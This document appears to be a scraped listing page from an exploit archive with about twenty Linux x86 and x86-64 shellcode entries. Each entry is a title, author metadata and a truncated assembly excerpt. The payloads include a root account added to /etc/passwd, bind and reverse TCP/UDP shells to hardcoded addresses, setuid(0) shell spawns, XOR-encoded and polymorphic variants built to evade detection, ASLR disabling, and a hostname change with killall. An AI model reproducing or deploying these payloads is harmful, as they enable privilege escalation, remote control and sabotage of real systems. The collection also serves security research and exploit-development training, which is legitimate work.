Linux/x86 - Write to /etc/passwd with uid(0) + gid(0) Shellcode (74 bytes)

/ This shellcode writes to /etc/passwd the string for the user with uid&gid == 0; written by dev0id email protected rootteam.void.ru rus-sec /Efnet.org greetz: nerf w00w00 BITS 32 jmp short path main: pop esi xor eax,eax push eax mov byte esi+11,al mov al,0x0a push eax push esi mov al,5 push eax...

Linux/x86-64 - Bind TCP (1337/TCP) Netcat (/bin/nc) Shell (/bin/sh) Shellcode (131 bytes)

; Title: Shellcode linux/x86-64 bind-shell with netcat ; Author : Gaussillusion ; Len : 131 bytes ; Language : Nasm BITS 64 xor rdx,rdx mov rdi,0x636e2f6e69622fff shr rdi,0x08 push rdi mov rdi,rsp mov rcx,0x68732f6e69622fff shr rcx,0x08 push rcx mov rcx,rsp mov rbx,0x652dffffffffffff shr rbx,0x30...

Linux/x86-64 - sethostname(Rooted !) + killall Shellcode (33 bytes)

Linux/x8664 sethostname & killall 33 bytes shellcode Date: 2010-04-26 Author: zbt Tested on: x8664 Debian GNU/Linux / ; sethostname"Rooted !"; ; kill-1, SIGKILL; section .text global start start: ;-- setHostName"Rooted !"; 22 bytes --; mov al, 0xaa mov r8, 'Rooted !' push r8 mov rdi, rsp mov sil,...

Linux/x86-64 - setreuid(0,0) + execve(/bin/zsh, [/bin/zsh, NULL]) + XOR Encoded Shellcode (87 bytes)

Title: Linux x86-64 setreuid 0,0 & execve"/bin/zsh", "/bin/zsh", NULL + XOR encoded - 87 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37 Thanks: Mark Loiseau, entropy at phiral.net and metasm developer unsigned char shellcode =...

Linux/x86-64 - setreuid(0,0) + execve(/bin/ksh, [/bin/ksh, NULL]) + XOR Encoded Shellcode (87 bytes)

Title: Linux x86-64 setreuid 0,0 & execve"/bin/ksh", "/bin/ksh", NULL + XOR encoded - 87 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37 Thanks: Mark Loiseau, entropy at phiral.net and metasm developer unsigned char shellcode =...

Linux/x86-64 - Reverse TCP (192.168.1.10:31337/TCP) Shell Shellcode (118 bytes)

/ Title : reversetcpbindshell 118 bytes Date : 04 October 2013 Author : Russell Willis Testd on: Linux/x8664 SMP Debian 3.2.46-1+deb7u1 x8664 GNU/Linux $ objdump -D reversetcpbindshell -M intel reversetcpbindshell: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 : 400080: ...

Linux/x86-64 - setreuid(0,0) + execve(/bin/csh, [/bin/csh, NULL]) + XOR Encoded Shellcode (87 bytes)

Title: Linux x86-64 setreuid 0,0 & execve"/bin/csh", "/bin/csh", NULL + XOR encoded - 87 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37 Thanks: Mark Loiseau, entropy at phiral.net and metasm developer unsigned char shellcode =...

Linux/x86-64 - Execute /bin/sh Shellcode (24 bytes)

Linux/x86-64 - Execute /bin/sh Shellcode 24 bytes. Shellcode exploit for Linuxx86-64 platform / global start section .text start: push 59 pop rax cdq push rdx mov rbx,0x68732f6e69622f2f push rbx push rsp pop rdi push rdx push rdi push rsp pop rsi syscall / include include char code =...

Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (53 bytes)

/ Title: Linux/x86 - execve/bin/sh Polymorphic Shellcode 53 bytes Date: 10-Jan-2018 Exploit Author: Debashis Pal SLAE-1122 Tested on: i686 GNU/Linux '//bin/sh' = 0x68732f6e 0x69622f2f polymorphic.nasm global start section .text start: add esi, 0x30 ;junk xor ecx, ecx mul ecx mov dword esp-4, ecx...

Linux/x86 - Reverse TCP /bin/sh Shell (127.1.1.1:8888/TCP) Null-Free Shellcode (67/69 bytes)

/ Title: Linux/x86 - Reverse TCP Shell /bin/sh 127.1.1.1:8888/TCP Null-Free Shellcode 69 bytes Description: Smallest /bin/sh Reverse TCP ShellcodeNull Free, No Register Pollution Required Date : 4/Jan/2018 Author: Nipun Jaswal @nipunjaswal ; SLAE-1080 Details: Smallest /bin/sh based Null & Regist...

Linux x86 - /bin/sh Shellcode (24 bytes)

/ ;Title: Linux/x86 - /bin/sh Shellcode ;Author: Touhid M.Shaikh ;Contact: https://github.com/touhidshaikh ;Category: Shellcode ;Architecture: Linux x86 ;Description: This shellcode baased on stack method to Execute "/bin//sh". Length of shellcode is 24 bytes. ;Tested on : 3.2.0-23-generic-pae...

Linux x86 - /bin/sh Shellcode (24 bytes)

Linux x86 - /bin/sh Shellcode 24 bytes. Shellcode exploit for Linx86 platform / ;Title: Linux/x86 - /bin/sh Shellcode ;Author: Touhid M.Shaikh ;Contact: https://github.com/touhidshaikh ;Category: Shellcode ;Architecture: Linux x86 ;Description: This shellcode baased on stack method to Execute...

Linux/x86 - Reverse UDP Shellcode (668 bytes)

Linux/x86 - Reverse UDP Shellcode 668 bytes. Shellcode exploit for Linx86 platform ; SLAE-X ; thanks to writesup from previou students : ; assignment: 2. create a reverse shell ; originality: using UDP instead TCP ; usage : sudo ncat -lup 53 on the receiving end ; warning, this shellcode might...

Linux/x86 - XOR encoded execve(/bin/sh) setuid(0) setgid(0) Shellcode (66 bytes)

;Title: Linux/x86 - 66 byte - execve/bin/sh - setuid0 - setgid0 - XOR encrypted ;Author: nullparasite ;Contact: email protected ;Category: Shellcode ;Architecture: Linux x86 ;Description: This shellcode, first set uid and gid to zero then call shell using execve. Also, /bin/sh defined as a XOR...

Linux/x86 - XOR encoded execve(/bin/sh) setuid(0) setgid(0) Shellcode (66 bytes)

Linux/x86 - XOR encoded execve/bin/sh setuid0 setgid0 Shellcode 66 bytes. Shellcode exploit for Linx86 platform ;Title: Linux/x86 - 66 byte - execve/bin/sh - setuid0 - setgid0 - XOR encrypted ;Author: nullparasite ;Contact: [email protected] ;Category: Shellcode ;Architecture: Linux x86...

Linux/x86 - Disable ASLR Shellcode (80 bytes)

/ Linux/x86 setuid-disable-aslr.c by @abatchy17 - abatchy.com Shellcode size: 80 bytes SLAE-885 section .text global start start: ; ; setruid0,0 ; xor ecx,ecx mov ebx,ecx push 0x46 pop eax int 0x80 ; ; open"/proc/sys/kernel/randomizevaspaceX", ORDWR ; xor eax,eax ; EAX = 0 jmp aslrfile shellcode:...

Linux/x86-64 - execve(/bin/sh) Shellcode (31 bytes)

Hi, This time I wanna to submit a shellcode whose length is 31Bytes , It's tested on Linux x86-64 ;=========================================================== ===================== ; The MIT License ; ; Copyright c ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ;...

Linux/x86 - Encoded exceve("/bin/sh") Shellcode (44 Bytes)

;================================================================================ ; The MIT License ; ; Copyright c ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files the "Software", to deal ; in the Software...

Linux/x86-64 - Reverse Shell Shellcode (84 bytes)

Linux/x86-64 - Reverse Shell Shellcode 84 bytes. Shellcode exploit for Linux platform / Title: Linux/x86-64 - Reverse TCP shellcode - 84 bytes Author: Manuel Mancera @sinkmanu Tested on: 3.16.0-4-amd64 1 SMP Debian 3.16.39-1 2016-12-30 x8664 GNU/Linux ----------------- Assembly code...

Linux/x86 - Reverse TCP Alphanumeric Staged Shellcode (103 bytes)

Reverse TCP Staged Alphanumeric Shellcode Linux x86 Execve /bin/sh Author: Snir Levi, Applitects 103 Bytes date: 9.2.17 Automatic python shellcode handler with stage preset send will be ready soon: https://github.com/snir-levi/ReverseTCPAlphanumericStagedShellcodeExecve-bin-bash/ IP - 127.0.0.1...